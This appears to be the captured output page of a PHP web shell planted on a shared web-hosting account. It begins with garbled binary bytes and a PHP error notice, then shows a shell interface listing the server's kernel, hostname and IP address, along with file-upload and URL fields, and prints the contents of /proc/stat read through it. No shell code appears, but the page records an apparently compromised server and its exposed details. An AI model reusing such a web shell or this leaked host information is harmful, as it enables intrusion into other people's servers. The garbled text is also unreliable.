PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Notice: ob_end_clean(): Failed to delete buffer. No buffer to delete in /home/qpfajntr/ekhaya.265thami.com/qxtr.php on line 8
$#$#$#

Dir : /proc/
Server: Linux premium288.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
IP: 162.254.39.137
Choose File :

Url:
Dir : //proc/stat

cpu  33237357639 559685407 10977801272 45311887469 2672044549 0 2560015729 35933942 0 0
cpu0 1015043171 17341725 341772186 1432633918 83747032 0 90518030 1066736 0 0
cpu1 986085823 17293525 342051218 1458087520 85156603 0 90392135 1093665 0 0
cpu2 1032908975 17483003 343096263 1417964494 84032527 0 84408787 1056859 0 0
cpu3 1035703508 17493111 343007408 1415847796 84285088 0 83406895 1054781 0 0
cpu4 1042296915 17696526 345116290 1420338293 84579644 0 70960778 1046387 0 0
cpu5 1045309360 17621725 345070449 1418094221 84509458 0 70339502 1046103 0 0
cpu6 1046177213 17559428 344990145 1417534114 84494670 0 70073768 1043263 0 0
cpu7 1046326776 17584671 344524373 1417945362 84552614 0 69824812 1044762 0 0
cpu8 1039917638 17457568 343515523 1412891294 84153642 0 81296349 1050522 0 0
cpu9 1040890758 17486112 342903466 1412787947 84072243 0 81109718 1052661 0 0
cpu10 1039246852 17560286 343338301 1413833580 84186729 0 81030004 1053116 0 0
cpu11 1039529441 17433421 343326983 1413791999 84111509 0 80897720 1051054 0 0
cpu12 1039292491 17434343 343090466 1414556352 84066872 0 80710941 1051855 0 0
cpu13 1012829374 17101863 333875125 1372685984 78979300 0 157317920 1685843 0 0
cpu14 1015324990 16890582 335941711 1371600219 79644077 0 156444807 1538622 0 0
cpu15 1046122217 17502274 343912578 1399892778 80398054 0 76021007 1634376 0 0
cpu16 1040972331 17501138 342471131 1412541892 83583300 0 81729996 1068655 0 0
cpu17 1038582349 17591155 342766786 1415200785 83675536 0 81123176 1069248 0 0
cpu18 1039430694 17433752 342913548 1415251999 83546655 0 80004743 1051130 0 0
cpu19 1040589456 17607078 342847836 1413640458 83626364 0 81088225 1062627 0 0
cpu20 1045880115 17480090 344257953 1420573763 83863352 0 68238154 1042525 0 0
cpu21 1046263896 17541136 344142660 1420239622 84008708 0 68160931 1043197 0 0
cpu22 1046033116 17544619 344071677 1420664323 83915595 0 68063820 1042439 0 0
cpu23 1047015012 17667860 343608615 1420394630 83728554 0 67913380 1042283 0 0
cpu24 1046641048 17528155 343988171 1420434897 83742253 0 67976478 1043390 0 0
cpu25 1045156747 17487240 343973756 1421799038 83818779 0 67982551 1042231 0 0
cpu26 1045111768 17596163 343961699 1421904152 83757432 0 68007525 1040518 0 0
cpu27 1045583993 17514406 343586131 1422102054 83661964 0 67911429 1043255 0 0
cpu28 1044705807 17464950 344167177 1422193990 83858896 0 67860204 1041700 0 0
cpu29 1045964339 17607676 343446961 1421836189 83674478 0 67865596 1042970 0 0
cpu30 1044532114 17533389 343720068 1423007756 83695600 0 67821448 1040506 0 0
cpu31 1051889337 17646421 344344603 1409616034 80917004 0 63514886 1646647 0 0
intr 98971183959 66 9 0 0 473 0 0 0 31 0 0 0 15 0 29627484 0 0 0 0 0 0 0 0 0 0 60 0 0 0 7208630 117468845 5 3191804722 1958790045 5 1724970052 1651653879 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 1572206091581
btime 1751530917
processes 3655779450
procs_running 18
procs_blocked 3
softirq 250051775639 1 2371501292 68817 2813151648 4288263440 0 631140851 2454405950 21697513 1248344847